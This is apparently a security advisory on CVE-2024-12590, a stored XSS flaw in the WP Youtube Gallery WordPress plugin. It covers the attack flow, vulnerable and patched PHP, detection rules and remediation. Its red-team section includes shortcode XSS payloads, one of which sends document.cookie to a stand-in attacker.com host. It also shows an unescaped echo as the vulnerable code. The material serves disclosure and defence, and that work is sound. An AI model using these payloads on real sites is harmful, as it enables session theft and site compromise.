CVE-2024-12590

Executive Summary

CVE-2024-12590 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Youtube Gallery plugin for WordPress, affecting all versions up to and including 1.9. The flaw resides in insufficient input sanitization and output escaping of the id parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the WP Youtube Gallery plugin. As a third-party plugin, it introduces risk into the WordPress supply chain. Administrators should monitor the plugin’s official repository for updates and consider removing or replacing the plugin if no patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must access the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts poses a significant risk to site integrity and user trust.

Deep Dive & Mechanics

The vulnerability exists in the WP Youtube Gallery plugin’s handling of the id parameter, likely used to specify a YouTube video ID or gallery identifier. The plugin fails to properly sanitize user input and escape output when rendering this parameter in the page HTML. An attacker with Contributor-level access (who can create or edit posts/pages) can inject malicious JavaScript code into the id parameter. When the post or page is viewed, the injected script executes in the context of the victim’s browser.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates or edits a post/page and inserts a WP Youtube Gallery shortcode or block.
3. Attacker sets the id parameter to a payload like "><script>alert('XSS')</script>.
4. The plugin stores the payload without sanitization.
5. When a victim (e.g., admin or visitor) accesses the page, the script executes.

Root Cause: Lack of input validation and output escaping on the id parameter. The plugin likely uses echo $id or similar without esc_attr() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

$id = $_GET['id'];
echo "<div class='youtube-gallery' data-id='$id'>";

Patched Code (expected fix):

$id = sanitize_text_field($_GET['id']);
echo "<div class='youtube-gallery' data-id='" . esc_attr($id) . "'>";

The patch would involve using WordPress’s sanitize_text_field() and esc_attr() functions to neutralize malicious input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Youtube Gallery plugin <= 1.9.
• Contributor-level account.

Steps:

1. Log in as Contributor.
2. Create a new post.
3. Insert the WP Youtube Gallery shortcode with a malicious id parameter:

   [youtube_gallery id='"><script>alert(document.cookie)</script>']
   

4. Publish the post.
5. Send the post URL to a victim (e.g., admin).
6. When the victim views the post, the script executes, exfiltrating cookies or performing other actions.

Advanced Payload:

[youtube_gallery id='"><img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>']

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts containing suspicious shortcode parameters (e.g., id with script tags).
• Use Web Application Firewall (WAF) rules to block XSS patterns in POST/GET parameters.
• Review user activity logs for Contributor-level users creating posts with unusual content.

Prevention:

• Disable the plugin until a patch is available.
• Restrict Contributor-level permissions to prevent post creation.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-youtube-gallery/ (presence of vulnerable plugin)
• Database: Posts containing shortcode with id parameter containing <script> or onerror attributes.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing id parameter with HTML/JavaScript content.

Detection Engineering

YARA Rule

rule CVE_2024_12590_WP_Youtube_Gallery_XSS {
    meta:
        description = "Detects malicious shortcode id parameter in WP Youtube Gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12590"
    strings:
        $shortcode = /\[youtube_gallery\s+id\s*=\s*['\"][^'\"]*<[^>]*script[^>]*>/
        $payload1 = /<script[^>]*>/
        $payload2 = /onerror\s*=\s*['\"][^'\"]*['\"]/
    condition:
        $shortcode and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2024-12590 WP Youtube Gallery Stored XSS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS via id parameter in WP Youtube Gallery plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "youtube_gallery"
        http.url|contains|re: "id=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12590 WP Youtube Gallery Stored XSS"; flow:to_server,established; content:"youtube_gallery"; http_uri; pcre:"/id\s*=\s*['\"][^'\"]*<[^>]*script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and remove any posts containing suspicious shortcode parameters.
3. Audit user accounts with Contributor-level access and revoke unnecessary privileges.

Long-term Fix:

• Apply the official patch from the plugin vendor when available.
• If no patch is released, consider replacing the plugin with an alternative (e.g., YouTube Embed Plus).

Mitigation Controls:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.

Valters IT